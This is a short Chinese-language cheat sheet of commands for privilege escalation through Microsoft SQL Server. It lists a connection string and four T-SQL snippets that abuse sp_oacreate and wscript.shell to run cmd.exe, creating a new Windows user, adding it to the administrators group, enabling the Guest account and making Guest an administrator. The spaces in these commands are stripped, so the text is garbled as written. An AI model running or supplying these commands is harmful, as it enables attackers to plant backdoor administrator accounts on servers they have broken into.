SQL提权用到的相关命令

1、连接数据库
driver={SQLServer};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuser新用户密码/add'
3、把用户加到管理组
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'
4、激活GUEST用户
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuserguest/active:yes'
5、把Guest加到管理组
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupAdministratorsGuest/add'

 

*